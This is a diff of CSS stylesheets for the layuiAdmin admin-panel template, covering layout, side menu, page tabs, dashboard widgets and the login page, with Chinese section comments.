.layui-side-menu .layui-nav .layui-nav-itemed > .layui-nav-child{padding: 5px 0;}
|
||||
.layui-side-menu .layui-nav .layui-nav-item .layui-icon{position: absolute; top: 50%; left: 20px; margin-top: -19px;}
|
||||
.layui-side-menu .layui-nav .layui-nav-child .layui-nav-child{background: none!important;}
|
||||
.layui-side-menu .layui-nav .layui-nav-child .layui-nav-child a{padding-left: 60px}
|
||||
.layui-side-menu .layui-nav .layui-nav-more{right: 15px;}
|
||||
|
||||
/* 侧边菜单 - 平板移动设备 */
|
||||
@media screen and (max-width: 992px) {
|
||||
.layui-layout-admin .layui-side{transform: translate3d(-220px, 0, 0); -webkit-transform: translate3d(-220px, 0, 0); width: 220px;}
|
||||
.layui-layout-admin .layui-layout-left,
|
||||
.layadmin-pagetabs,
|
||||
.layui-layout-admin .layui-body,
|
||||
.layui-layout-admin .layui-footer{left: 0;}
|
||||
}
|
||||
|
||||
/* 侧边收缩模式 */
|
||||
.layadmin-side-shrink .layui-layout-admin .layui-logo{width: 60px; background-image: url(res/logo.png); /*background-size: 20px;)*/}
|
||||
.layadmin-side-shrink .layui-layout-admin .layui-logo span{display: none;}
|
||||
.layadmin-side-shrink .layui-side{left: 0; width: 60px;}
|
||||
.layadmin-side-shrink .layui-layout-admin .layui-layout-left,
|
||||
.layadmin-side-shrink .layadmin-pagetabs,
|
||||
.layadmin-side-shrink .layui-layout-admin .layui-body,
|
||||
.layadmin-side-shrink .layui-layout-admin .layui-footer{left: 60px;}
|
||||
.layadmin-side-shrink .layui-side-menu .layui-nav{position: static; width: 60px;}
|
||||
.layadmin-side-shrink .layui-side-menu .layui-nav-item{position: static;}
|
||||
.layadmin-side-shrink .layui-side-menu .layui-nav-item>a{padding-right: 0;}
|
||||
.layadmin-side-shrink .layui-side-menu .layui-nav-item cite,
|
||||
.layadmin-side-shrink .layui-side-menu .layui-nav > .layui-nav-item > a .layui-nav-more,
|
||||
.layadmin-side-shrink .layui-side-menu .layui-nav > .layui-nav-item > .layui-nav-child{display: none; padding: 8px 0; width: 200px;}
|
||||
.layadmin-side-shrink .layui-side-menu .layui-nav > .layui-nav-itemed>a{background: rgba(0,0,0,.3);}
|
||||
|
||||
/* 移动端展开模式 */
|
||||
.layadmin-side-spread-sm .layui-layout-admin .layui-layout-left,
|
||||
.layadmin-side-spread-sm .layadmin-pagetabs,
|
||||
.layadmin-side-spread-sm .layui-layout-admin .layui-body,
|
||||
.layadmin-side-spread-sm .layui-layout-admin .layui-footer{left: 0; transform: translate3d(220px, 0, 0); -webkit-transform: translate3d(220px, 0, 0);}
|
||||
.layadmin-side-spread-sm .layui-layout-admin .layui-layout-right{transform: translate3d(220px, 0, 0); -webkit-transform: translate3d(220px, 0, 0);}
|
||||
.layadmin-side-spread-sm .layui-side{transform: translate3d(0, 0, 0); -webkit-transform: translate3d(0, 0, 0);}
|
||||
.layadmin-side-spread-sm .layadmin-body-shade{display: block; }
|
||||
|
||||
|
||||
/* 页面标签 */
|
||||
.layadmin-pagetabs{height: 40px; line-height: 40px; padding: 0 80px 0 40px; /*border-bottom: 2px solid #292B34;*/ background-color: #fff; box-sizing: border-box; box-shadow: 0 1px 2px 0 rgba(0,0,0,.1);}
|
||||
.layadmin-pagetabs .layadmin-tabs-control{position: absolute; top: 0; width: 40px; height: 100%; text-align: center; cursor: pointer; transition: all .3s; -webkit-transition: all .3s; box-sizing: border-box; border-left: 1px solid #f6f6f6;}
|
||||
.layadmin-pagetabs .layadmin-tabs-control:hover{background-color: #f6f6f6;}
|
||||
.layadmin-pagetabs .layui-icon-prev{left: 0; border-left: none; border-right: 1px solid #f6f6f6;}
|
||||
.layadmin-pagetabs .layui-icon-next{right: 40px; right: 40px;}
|
||||
.layadmin-pagetabs .layui-icon-down{right: 0;}
|
||||
.layadmin-tabs-select.layui-nav{position: absolute; left: 0; top: 0; width: 100%; height: 100%; padding: 0; background: none;}
|
||||
.layadmin-tabs-select.layui-nav .layui-nav-item{line-height: 40px;}
|
||||
.layadmin-tabs-select.layui-nav .layui-nav-item>a{height: 40px;}
|
||||
.layadmin-tabs-select.layui-nav .layui-nav-item a{color: #666;}
|
||||
.layadmin-tabs-select.layui-nav .layui-nav-child{top: 40px; left: auto; right: 0;}
|
||||
.layadmin-tabs-select.layui-nav .layui-nav-child dd.layui-this,
|
||||
.layadmin-tabs-select.layui-nav .layui-nav-child dd.layui-this a{background-color: #f2f2f2!important; color: #333;}
|
||||
.layadmin-tabs-select.layui-nav .layui-nav-more,
|
||||
.layadmin-tabs-select.layui-nav .layui-nav-bar{display: none;}
|
||||
|
||||
.layadmin-pagetabs .layui-tab{margin: 0; overflow: hidden;}
|
||||
.layadmin-pagetabs .layui-tab-title{height: 40px; border: none;}
|
||||
.layadmin-pagetabs .layui-tab-title li{min-width: 0; line-height: 40px; max-width: 160px; text-overflow: ellipsis; padding-right: 40px; overflow: hidden; border-right: 1px solid #f6f6f6; vertical-align: top;}
|
||||
.layadmin-pagetabs .layui-tab-title li:first-child{ padding-right: 15px;}
|
||||
.layadmin-pagetabs .layui-tab-title li:first-child .layui-tab-close{display: none;}
|
||||
.layadmin-pagetabs .layui-tab-title li .layui-tab-close{position: absolute; right: 8px; top: 50%; margin: -7px 0 0 0; width: 16px; height: 16px; line-height: 16px; border-radius: 50%; font-size: 12px;}
|
||||
.layadmin-pagetabs .layui-tab-title li:after{content:''; position: absolute; top: 0; left: 0; width: 0; height: 2px; border-radius: 0; background-color: #292B34; transition: all .3s; -webkit-transition: all .3s;}
|
||||
.layadmin-pagetabs .layui-tab-title li:hover:after{width: 100%;}
|
||||
.layadmin-pagetabs .layui-tab-title li:hover,
|
||||
.layadmin-pagetabs .layui-tab-title li.layui-this{background-color: #f6f6f6;}
|
||||
.layadmin-pagetabs .layui-tab-title li.layui-this:after{width: 100%; border: none; height: 2px; background-color: #292B34;}
|
||||
|
||||
/* 不开启页面标签时 */
|
||||
.layadmin-tabspage-none .layui-layout-admin .layui-header{border-bottom: none; box-shadow: 0 1px 2px 0 rgba(0,0,0,.05);}
|
||||
.layadmin-tabspage-none .layui-layout-admin .layui-body{top: 50px;}
|
||||
.layadmin-tabspage-none .layadmin-header{display: block;}
|
||||
.layadmin-tabspage-none .layadmin-header .layui-breadcrumb{border-top: 1px solid #f6f6f6;}
|
||||
|
||||
/* 底部固定区域 */
|
||||
.layui-layout-admin .layui-footer{padding: 10px 0; text-align: center;}
|
||||
|
||||
/* 默认主题修饰 */
|
||||
.layui-layout-admin .layui-header{border-bottom: 1px solid #f6f6f6; box-sizing: border-box; background-color: #fff;}
|
||||
.layui-layout-admin .layui-header a,
|
||||
.layui-layout-admin .layui-header a cite{color: #333;}
|
||||
.layui-layout-admin .layui-header a:hover{color: #000;}
|
||||
.layui-layout-admin .layui-header .layui-nav .layui-nav-more{border-top-color: #666}
|
||||
.layui-layout-admin .layui-header .layui-nav .layui-nav-mored{border-color: transparent; border-bottom-color: #666;}
|
||||
.layui-layout-admin .layui-header .layui-nav .layui-this:after,
|
||||
.layui-layout-admin .layui-header .layui-nav-bar{height: 2px; background-color: #20222A}
|
||||
.layui-layout-admin .layui-logo{background-color: #20222A; box-shadow: 0 1px 2px 0 rgba(0,0,0,.15);}
|
||||
.layui-layout-admin .layui-logo,
|
||||
.layui-layout-admin .layui-logo a{color: #fff; color: rgba(255,255,255,.8)}
|
||||
.layui-side-menu{box-shadow: 1px 0 2px 0 rgba(0,0,0,.05);}
|
||||
.layui-layout-admin .layui-footer{box-shadow: 0 -1px 2px 0 rgba(0,0,0,.05);}
|
||||
|
||||
.layui-side-menu,
|
||||
.layadmin-setTheme-side{background-color: #20222A; color: #fff;}
|
||||
.layadmin-setTheme-header{background-color: #fff;}
|
||||
|
||||
.layui-layout-admin .layui-footer{background-color: #fff;}
|
||||
.layui-tab-admin .layui-tab-title{background-color: #393D49; color: #fff;}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
格局
|
||||
|
||||
*/
|
||||
|
||||
.layui-fluid{padding: 15px;}
|
||||
.layadmin-header{display: none; height: 50px; line-height: 50px; margin-bottom: 0; border-radius: 0;}
|
||||
.layadmin-header .layui-breadcrumb{padding: 0 15px;}
|
||||
.layui-card-header{position: relative;}
|
||||
.layui-card-header .layui-icon{line-height: initial; position: absolute; right: 15px; top: 50%; margin-top: -7px;}
|
||||
.layadmin-iframe{position: absolute; width: 100%; height: 100%; left: 0; top: 0; right: 0; bottom: 0;}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
控制台
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/* 重置轮播样式 */
|
||||
.layadmin-carousel{height: 185px !important; background-color: #fff;}
|
||||
.layadmin-carousel .layui-carousel-ind li{background-color: #e2e2e2;}
|
||||
.layadmin-carousel .layui-carousel-ind li:hover{background-color: #c2c2c2;}
|
||||
.layadmin-carousel .layui-carousel-ind li.layui-this{background-color: #999;}
|
||||
.layadmin-carousel .layui-carousel,
|
||||
.layadmin-carousel > *[carousel-item] > *{background-color: #fff;}
|
||||
.layadmin-carousel .layui-col-space10{margin: 0;}
|
||||
.layadmin-carousel .layui-carousel-ind{position: absolute; top: -41px; text-align: right;}
|
||||
.layadmin-carousel .layui-carousel-ind ul{background: none;}
|
||||
|
||||
/* 重置tab样式 */
|
||||
.layui-card .layui-tab-brief .layui-tab-title{height: 42px; border-bottom-color: #f6f6f6;}
|
||||
.layui-card .layui-tab-brief .layui-tab-title li{margin: 0 15px; padding: 0; line-height: 42px;}
|
||||
.layui-card .layui-tab-brief .layui-tab-title li.layui-this{color: #333;}
|
||||
.layui-card .layui-tab-brief .layui-tab-title .layui-this:after{height: 43px;}
|
||||
.layui-card .layui-tab-brief .layui-tab-content{padding: 15px;}
|
||||
.layui-card .layui-table-view{margin: 0;}
|
||||
|
||||
/* 快捷方式 */
|
||||
.layadmin-shortcut li{text-align: center;}
|
||||
.layadmin-shortcut li .layui-icon{display: inline-block; width: 100%; height: 60px; line-height: 60px; text-align: center; border-radius: 2px; font-size: 30px; background-color: #F8F8F8; color: #333; transition: all .3s; -webkit-transition: all .3s;}
|
||||
.layadmin-shortcut li cite{position: relative; top: 2px; display: block; color: #666; text-overflow: ellipsis; overflow: hidden; white-space: nowrap; font-size: 14px;}
|
||||
.layadmin-shortcut li:hover .layui-icon{background-color: #f2f2f2;}
|
||||
|
||||
/* 待办事项 */
|
||||
.layadmin-backlog .layadmin-backlog-body{display: block; padding: 10px 15px; background-color: #f8f8f8; color: #999; border-radius: 2px; transition: all .3s; -webkit-transition: all .3s;}
|
||||
.layadmin-backlog-body h3{padding-bottom: 10px; font-size: 12px;}
|
||||
.layadmin-backlog-body p cite{font-style: normal; font-size: 30px; font-weight: 300; color: #009688;}
|
||||
.layadmin-backlog-body:hover{background-color: #f2f2f2; color: #888;}
|
||||
|
||||
/* 数据概览 */
|
||||
.layadmin-dataview{height: 332px !important;}
|
||||
.layadmin-dataview>*[carousel-item]:before{display: none;}
|
||||
.layadmin-dataview>*[carousel-item]>div{height: 332px;}
|
||||
|
||||
/* 控制台效果报告 */
|
||||
.layadmin-takerates{padding-top: 5px;}
|
||||
.layadmin-takerates .layui-progress{margin: 50px 0 60px;}
|
||||
.layadmin-takerates .layui-progress:last-child{margin-bottom: 10px;}
|
||||
.layadmin-takerates .layui-progress h3{position: absolute; right: 0; top: -35px; color: #999; font-size: 14px;}
|
||||
.layadmin-takerates .layui-progress-bar{text-align: left;}
|
||||
.layadmin-takerates .layui-progress-text{top: -35px; line-height: 26px; font-size: 26px;}
|
||||
|
||||
/* 产品动态 */
|
||||
.layadmin-news{height: 60px !important; padding: 5px 0;}
|
||||
.layadmin-news a{display: block; line-height: 60px; text-align: center;}
|
||||
.layadmin-news .layui-carousel-ind{height: 45px;}
|
||||
|
||||
/* 文字列表 */
|
||||
.layadmin-list li{margin-bottom: 6px; padding-bottom: 6px; border-bottom-color: #f6f6f6; list-style-position: inside; list-style-type: disc;}
|
||||
.layadmin-list li{text-overflow: ellipsis; overflow: hidden; white-space: nowrap;}
|
||||
.layadmin-list li a{color: #666;}
|
||||
.layadmin-list li a:hover{color: #009688;}
|
||||
.layadmin-list li:last-child{border: none; padding: 0; margin: 0;}
|
||||
|
||||
/* 文本区域 */
|
||||
.layadmin-text p{margin-bottom: 10px; text-indent: 2em;}
|
||||
.layadmin-text p:last-child{margin: 0;}
|
||||
.layadmin-font-em{font-size: 13px; color: #758697;}
|
||||
|
||||
|
||||
|
||||
|
||||
/********************************
|
||||
|
||||
其它主页开始 By star1029
|
||||
|
||||
*******************************/
|
||||
|
||||
/* 主页示例一 by star1029 */
|
||||
/* 进行中的项目 */
|
||||
.layui-card-header .layui-a-tips{position: absolute; right: 15px; color: #01AAED;}
|
||||
.layuiadmin-card-text{background-color: #f8f8f8; color: #777; padding: 24px;}
|
||||
.layuiadmin-card-text .layui-text-top{padding-bottom: 10px;}
|
||||
.layuiadmin-card-text .layui-text-top i{margin-right: 10px; font-size: 24px; color: #009688;}
|
||||
.layuiadmin-card-text .layui-text-top a{line-height: 24px; font-size: 16px; vertical-align: top;}
|
||||
.layuiadmin-card-text .layui-text-center{height: 44px; line-height: 22px; margin-bottom: 10px; overflow: hidden;}
|
||||
.layuiadmin-card-text .layui-text-bottom{position: relative;}
|
||||
.layuiadmin-card-text .layui-text-bottom a{color: #777; font-size: 12px; text-overflow: ellipsis; word-break: break-all;}
|
||||
.layuiadmin-card-text .layui-text-bottom span{color: #CCC; font-size: 12px; position: absolute; right: 0;}
|
||||
.layuiadmin-card-text a:hover,
|
||||
.layuiadmin-card-link a:hover,
|
||||
.layuiadmin-card-team li a:hover{color: #01AAED; transition: all 300ms;}
|
||||
|
||||
/* 动态 */
|
||||
.layuiadmin-card-status{padding: 0 10px 10px 10px;}
|
||||
.layuiadmin-card-status dd{padding: 15px 0; border-bottom: 1px solid #EEE; display: -webkit-flex; display: flex;}
|
||||
.layuiadmin-card-status dd:last-child{border: none;}
|
||||
.layuiadmin-card-status dd div.layui-status-img,
|
||||
.layuiadmin-card-team .layui-team-img{width: 32px; height: 32px; border-radius: 50%; background-color: #009688; margin-right: 15px;}
|
||||
.layuiadmin-card-status dd div.layui-status-img a{width: 100%; height: 100%; display: inline-block; text-align: center; line-height: 32px;}
|
||||
.layuiadmin-card-status dd div.layui-status-img img,
|
||||
.layuiadmin-card-team .layui-team-img img{width: 50%; height: 50%;}
|
||||
.layuiadmin-card-status dd div a{color: #01AAED;}
|
||||
.layuiadmin-card-status dd div span{color: #BBB;}
|
||||
|
||||
/* 便捷导航 */
|
||||
.layuiadmin-card-link{padding-left: 10px; font-size: 0}
|
||||
.layuiadmin-card-link a{display: inline-block; width: 25%; color: #666; font-size: 14px; margin-bottom: 12px;}
|
||||
.layuiadmin-card-link button{vertical-align: top;}
|
||||
.layuiadmin-card-link button:hover{color: #009688;}
|
||||
|
||||
/* 团队 */
|
||||
.layuiadmin-card-team li{padding: 10px 0 10px 10px;}
|
||||
.layuiadmin-card-team .layui-team-img{display: inline-block; margin-right: 8px; width: 24px; height: 24px; text-align: center; line-height: 24px;}
|
||||
.layuiadmin-card-team span{color: #777;}
|
||||
|
||||
|
||||
/* 主页示例二 by star1029 */
|
||||
.layuiadmin-badge{position: absolute; top: 50%; margin-top: -9px; right: 15px; color: #01AAED; }
|
||||
.layuiadmin-card-list{padding: 15px;}
|
||||
.layuiadmin-card-list p.layuiadmin-big-font{font-size: 36px; color: #666; line-height: 36px; padding: 5px 0 10px; overflow: hidden; text-overflow: ellipsis; word-break: break-all; white-space: nowrap;}
|
||||
.layuiadmin-card-list p.layuiadmin-normal-font{padding-bottom: 10px; font-size: 20px; color: #666; line-height: 24px;}
|
||||
.layuiadmin-span-color{font-size: 14px; position: absolute; right: 15px;}
|
||||
.layuiadmin-span-color i{padding-left: 5px;}
|
||||
.layuiadmin-btn-group{position: absolute; right: 15px;}
|
||||
|
||||
.layuiadmin-card-status li{position: relative; padding: 10px 0; border-bottom: 1px solid #EEE;}
|
||||
.layuiadmin-card-status li h3{padding-bottom: 5px; font-weight: 700;}
|
||||
.layuiadmin-card-status li p{padding-bottom: 10px;}
|
||||
.layuiadmin-card-status li>span{color: #999;}
|
||||
.layuiadmin-home2-usernote .layuiadmin-reply{display: none; position: absolute; right: 0; bottom: 12px;}
|
||||
.layuiadmin-home2-usernote li:hover .layuiadmin-reply{display: block;}
|
||||
|
||||
.layuiadmin-page-table td span{color: #2F4056;}
|
||||
.layuiadmin-page-table td span.first{color: #FF5722;}
|
||||
.layuiadmin-page-table td span.second{color: #FFB800;}
|
||||
.layuiadmin-page-table td span.third{color: #5FB878;}
|
||||
|
||||
|
||||
/****** 其它主页结束 By star1029 ******/
|
||||
|
||||
|
||||
|
||||
|
||||
/*
|
||||
|
||||
应用
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/* 消息中心 */
|
||||
.layuiAdmin-msg-detail h1{font-size: 16px;}
|
||||
.layuiAdmin-msg-detail .layui-card-header{height: auto; line-height: 30px; padding: 15px;}
|
||||
.layuiAdmin-msg-detail .layui-card-header span{padding: 0 5px; color: #999;}
|
||||
.layuiAdmin-msg-detail .layui-card-header span:first-child{padding-left: 0;}
|
||||
.layuiAdmin-msg-detail .layui-card-body{padding: 15px;}
|
||||
|
||||
/* 文章列表 */
|
||||
.layuiadmin-content-bread{padding-bottom: 20px;}
|
||||
|
||||
/* 进度条样式 */
|
||||
.layuiadmin-order-progress{position: relative; top: 12px;}
|
||||
|
||||
|
||||
|
||||
|
||||
/*
|
||||
|
||||
系统
|
||||
|
||||
*/
|
||||
|
||||
|
||||
/* 头部图标重置 */
|
||||
.layui-card-header.layuiadmin-card-header-auto{padding-top: 15px; padding-bottom: 15px; height: auto;}
|
||||
.layuiadmin-card-header-auto i.layuiadmin-button-btn{position: relative; right: 0; top: 0; vertical-align: middle;}
|
||||
.layuiadmin-card-header-auto .layui-form-item:last-child{margin-bottom: 0;}
|
||||
|
||||
|
||||
/* 主题设置 */
|
||||
.layadmin-setTheme{padding: 15px; overflow-x: hidden;}
|
||||
.layadmin-setTheme>h5{padding: 20px 0 10px; color: #000;}
|
||||
.layadmin-setTheme>h5:first-child{padding-top: 0;}
|
||||
.layadmin-setTheme-color{width: 330px; font-size: 0;}
|
||||
.layadmin-setTheme-color li{position: relative; display: inline-block; vertical-align: top; width: 80px; height: 50px; margin: 0 15px 15px 0; background-color: #f2f2f2; cursor: pointer; font-size: 12px; color: #666;}
|
||||
.layadmin-setTheme-color li:after{content: ''; position: absolute; z-index: 20; top: 50%; left: 50%; width: 1px; height: 0; border: 1px solid #f2f2f2; transition: all .3s; -webkit-transition: all .3s; opacity: 0;}
|
||||
.layadmin-setTheme-color li.layui-this:after,
|
||||
.layadmin-setTheme-color li:hover:after{width: 100%; height: 100%; padding: 4px; top: -5px; left: -5px; border-color: #5FB878; opacity: 1;}
|
||||
|
||||
.layadmin-setTheme-header{position: relative; z-index: 10; height: 10px; border-top: 1px solid #f2f2f2; border-right: 1px solid #f2f2f2;}
|
||||
.layadmin-setTheme-side{position: absolute; left: 0; top: 0; width: 20px; height: 100%; z-index: 11; box-shadow: 1px 0 2px 0 rgba(0,0,0,.05);}
|
||||
.layadmin-setTheme-logo{position: absolute; left: 0; top: 0; width: 100%; height: 10px; box-shadow: 0 1px 2px 0 rgba(0,0,0,.15);}
|
||||
.layadmin-form-right{text-align: right;}
|
||||
|
||||
|
||||
/* 关于 */
|
||||
.layadmin-about p{margin-bottom: 10px;}
|
||||
|
||||
/* 菜单列表 */
|
||||
.layadmin-menu-list .layui-card-header{height: 50px; line-height: 50px; font-size: 16px;}
|
||||
.layadmin-menu-list .layui-card-header:active{background-color: #f2f2f2;}
|
||||
.layadmin-menu-list .layui-card-header .layui-icon{position: relative; top: 1px; left: 0; display: inline-block; margin: 0 10px 0; font-size: 18px;}
|
||||
|
||||
|
||||
/* 动画 */
|
||||
@-webkit-keyframes layui-rl{ /* 从右往左滑入 */
|
||||
from {-webkit-transform: translate3d(100%, 0, 0);}
|
||||
to {-webkit-transform: translate3d(0, 0, 0);}
|
||||
}
|
||||
@keyframes layui-rl{
|
||||
from {transform: translate3d(100%, 0, 0);}
|
||||
to {transform: translate3d(0, 0, 0);}
|
||||
}
|
||||
.layui-anim-rl{-webkit-animation-name: layui-rl; animation-name: layui-rl;}
|
||||
|
||||
@-webkit-keyframes layui-lr{ /* 从右往左滑入 */
|
||||
from {-webkit-transform: translate3d(0 0, 0); opacity: 1;}
|
||||
to {-webkit-transform: translate3d(100%, 0, 0); opacity: 1;}
|
||||
}
|
||||
@keyframes layui-lr{
|
||||
from {transform: translate3d(0, 0, 0);}
|
||||
to {transform: translate3d(100%, 0, 0);}
|
||||
}
|
||||
.layui-anim-lr{-webkit-animation-name: layui-lr; animation-name: layui-lr;}
|
||||
|
||||
.layui-anim-rl.layer-anim-close{-webkit-animation-name: layui-lr; animation-name: layui-lr;}
|
||||
|
||||
|
||||
/* 提示页 */
|
||||
.layadmin-tips{margin-top: 30px; text-align: center;}
|
||||
.layadmin-tips .layui-icon[face]{display: inline-block; font-size: 300px; color: #393D49;}
|
||||
.layadmin-tips .layui-text{width: 500px; margin: 30px auto; padding-top: 20px; border-top: 5px solid #009688; font-size: 16px;}
|
||||
.layadmin-tips h1{font-size: 100px; line-height: 100px; color: #009688;}
|
||||
.layadmin-tips .layui-text .layui-anim{display: inline-block;}
|
||||
|
||||
|
||||
/*
|
||||
|
||||
响应式补充
|
||||
|
||||
*/
|
||||
|
||||
@media screen and (max-width: 768px) {
|
||||
|
||||
/* 产品清单模板 */
|
||||
.layadmin-panel-selection{margin: 0; width: auto;}
|
||||
|
||||
/* 导航 */
|
||||
.layui-body .layui-nav .layui-nav-item{display: block;}
|
||||
|
||||
/* 主体容器 */
|
||||
.layui-layout-admin .layui-body .layadmin-tabsbody-item{-webkit-overflow-scrolling: touch; overflow: auto;}
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,55 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin 登入注册页
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:GPL-2
|
||||
|
||||
*/
|
||||
|
||||
html,body,#LAY_app{height:100%;}
|
||||
.layui-layout-body{overflow: auto;}
|
||||
|
||||
#LAY-user-login,
|
||||
.layadmin-user-display-show{display: block !important;}
|
||||
.layadmin-user-login{position: relative; left: 0; top: 0; padding: 110px 0; min-height: 100%; box-sizing: border-box;}
|
||||
.layadmin-user-login-main{width: 375px; margin: 0 auto; box-sizing: border-box;}
|
||||
.layadmin-user-login-box{padding: 20px;}
|
||||
.layadmin-user-login-header{text-align: center;}
|
||||
.layadmin-user-login-header h2{margin-bottom: 10px; font-weight: 300; font-size: 30px; color: #000;}
|
||||
.layadmin-user-login-header p{font-weight: 300; color: #999;}
|
||||
|
||||
.layadmin-user-login-body .layui-form-item{position: relative;}
|
||||
.layadmin-user-login-icon{position: absolute; left: 1px; top: 1px; width: 38px; line-height: 36px; text-align: center; color: #d2d2d2;}
|
||||
.layadmin-user-login-body .layui-form-item .layui-input{padding-left: 38px;}
|
||||
.layadmin-user-login-codeimg{max-height: 38px; width: 100%; cursor: pointer; box-sizing: border-box;}
|
||||
|
||||
.layadmin-user-login-other{position: relative; font-size: 0; line-height: 38px; padding-top: 20px;}
|
||||
.layadmin-user-login-other>*{display: inline-block; vertical-align: middle; margin-right: 10px; font-size: 14px;}
|
||||
.layadmin-user-login-other .layui-icon{position: relative; top: 2px; font-size: 26px;}
|
||||
.layadmin-user-login-other a:hover{opacity: 0.8;}
|
||||
|
||||
.layadmin-user-jump-change{float: right;}
|
||||
|
||||
.layadmin-user-login-footer{position: absolute; left: 0; bottom: 0; width: 100%; line-height: 30px; padding: 20px; text-align: center; box-sizing: border-box; color: rgba(0,0,0,.5)}
|
||||
.layadmin-user-login-footer span{padding: 0 5px;}
|
||||
.layadmin-user-login-footer a{padding: 0 5px; color: rgba(0,0,0,.5);}
|
||||
.layadmin-user-login-footer a:hover{color: rgba(0,0,0,1);}
|
||||
|
||||
/* 有背景图时 */
|
||||
.layadmin-user-login-main[bgimg]{background-color: #fff; box-shadow: 0 0 5px rgba(0,0,0,0.05);}
|
||||
|
||||
/* 主题背景 */
|
||||
.ladmin-user-login-theme{position: fixed; bottom: 0; left: 0; width: 100%; text-align: center;}
|
||||
.ladmin-user-login-theme ul{display: inline-block; padding: 5px; background-color: #fff;}
|
||||
.ladmin-user-login-theme ul li{display: inline-block; vertical-align: top; width: 64px; height: 43px; cursor: pointer; transition: all .3s; -webkit-transition: all .3s; background-color: #f2f2f2;}
|
||||
.ladmin-user-login-theme ul li:hover{opacity: 0.9}
|
||||
|
||||
@media screen and (max-width: 768px) {
|
||||
.layadmin-user-login{padding-top: 60px;}
|
||||
.layadmin-user-login-main{width: 300px;}
|
||||
.layadmin-user-login-box{padding: 10px;}
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
After Width: | Height: | Size: 832 B |
|
After Width: | Height: | Size: 2.8 KiB |
|
After Width: | Height: | Size: 455 B |
|
After Width: | Height: | Size: 457 B |
|
After Width: | Height: | Size: 6.0 KiB |
|
After Width: | Height: | Size: 410 KiB |
|
After Width: | Height: | Size: 19 KiB |
@@ -0,0 +1,186 @@
|
||||
/**
|
||||
|
||||
@Name:layuiAdmin
|
||||
@Author:贤心
|
||||
@Site:http://www.layui.com/admin/
|
||||
@License:LPPL
|
||||
|
||||
*/
|
||||
|
||||
|
||||
|
||||
/********************************
|
||||
|
||||
模板开始 By xuzhiwen
|
||||
|
||||
*******************************/
|
||||
|
||||
|
||||
/* 产品版本选择面板 */
|
||||
.layadmin-panel-selection{width: 768px; margin: 30px auto;}
|
||||
.layadmin-panel-selection .layui-panel-window{padding: 30px 50px; border-top-color: #ddd; text-align: center;}
|
||||
.layadmin-panel-selection .layui-panel-window h2{padding-bottom: 15px; font-size: 18px;}
|
||||
.layadmin-panel-selection .layui-panel-window ul{margin-top: 15px; text-align: left;}
|
||||
.layadmin-panel-selection .layui-btn-container{margin-top: 30px;}
|
||||
.layadmin-panel-selection .layui-btn-container .layui-btn{width: 100%;}
|
||||
|
||||
/* 通讯录面板 */
|
||||
.layadmin-maillist-fluid .layadmin-contact-box{padding:20px;background-color: #fff;
|
||||
border: 1px solid #e7eaec;overflow: hidden;}
|
||||
.layadmin-maillist-fluid .layadmin-text-center{text-align: center;}
|
||||
.layadmin-maillist-fluid .layadmin-text-center img{max-width: 80%;border-radius: 50%;margin-top: 5px;}
|
||||
.layadmin-maillist-fluid .layadmin-font-blod{font-weight: 600;}
|
||||
.layadmin-maillist-fluid .layadmin-maillist-img{margin-top: 5px;}
|
||||
.layadmin-maillist-fluid .layadmin-title{margin:5px 0 10px 0;}
|
||||
.layadmin-maillist-fluid .layadmin-textimg{line-height: 25px;margin-bottom: 10px;}
|
||||
.layadmin-maillist-fluid .layadmin-address{line-height: 1.5;margin-bottom: 20px;}
|
||||
.layadmin-maillist-fluid .layadmin-padding-left20{padding-left: 20px;}
|
||||
|
||||
/* 个人主页 */
|
||||
.layadmin-homepage-shadow{box-shadow: 0 1px 1px rgba(0,0,0,.05);background-color: #fff;border-bottom: 1px solid rgba(0,0,0,0.17);border-radius: 0;border: 1px solid #e7ecf3;}
|
||||
.layadmin-homepage-panel{margin-bottom: 15px;}
|
||||
.layadmin-homepage-panel .text-center{text-align: center;}
|
||||
.layadmin-homepage-information{padding: 15px; border-bottom: 1px solid #e9e9e9;}
|
||||
.layadmin-homepage-pad-ver{ padding-top: 15px;padding-bottom: 15px;}
|
||||
.layadmin-homepage-pad-img{box-shadow: 0 0 0 4px rgba(0,0,0,0.1);border-radius: 50%;}
|
||||
.layadmin-homepage-font{font-weight: 600;color: #2b425b;font-size: 1.2em;}
|
||||
.layadmin-homepage-min-font{margin:5px 0 10px 0;font-size: 0.9em;color: #afb9c3;}
|
||||
.layadmin-homepage-pad-ver a{line-height: 1.1em;font-size: 1.3em;vertical-align: middle; cursor: pointer;background-color: transparent;color: inherit;padding: 6px 12px;}
|
||||
.layadmin-homepage-pad-ver a:hover{background: #5FB878; color:#fff;}
|
||||
|
||||
.layadmin-homepage-about{padding: 15px;font-weight: 600;color: #2b425b;}
|
||||
.layadmin-homepage-list-group{font-size: 0.9em;line-height: 1.25;margin-bottom: 5px;}
|
||||
.layadmin-homepage-list-group li{ padding: 5px 15px;border: 1px solid #ddd;margin-bottom: -1px;border-width: 1px 0;border-radius: 0; background-color: transparent;border-color: transparent;color: inherit;}
|
||||
.layadmin-homepage-list-group li i{font-size: 1.333em;line-height: 1.095em;vertical-align: middle; margin-right: 4px;}
|
||||
.layadmin-homepage-list-group li a.color{color:#337ab7;}
|
||||
.layadmin-homepage-pad-hor{ padding-left: 15px; padding-right: 15px;border-bottom: 15px;color: #758697; text-indent:20px;}
|
||||
.layadmin-homepage-list-inline{margin-left: 15px;margin-right: 15px;padding-bottom: 20px}
|
||||
.layadmin-homepage-list-inline a{display: inline-block;}
|
||||
.layadmin-homepage-list-inline .layui-btn{font-size: .9em;line-height: 1.42857;vertical-align: middle;height: auto;padding:4px 7px;margin-left: 0px;margin:0 10px 10px 0;}
|
||||
|
||||
/* 左侧个人信息区域 */
|
||||
.layadmin-homepage-text-center{text-align: center;margin-bottom: 15px;}
|
||||
.layadmin-homepage-padding15{padding:15px;margin-bottom: 15px;}
|
||||
.layadmin-homepage-padding8{padding: 0 8px;}
|
||||
.layadmin-homepage-paddingmb{margin-bottom: 15px;margin: 0 -7.5px;}
|
||||
.layadmin-homepage-content{margin-left: 15px;padding: 0;}
|
||||
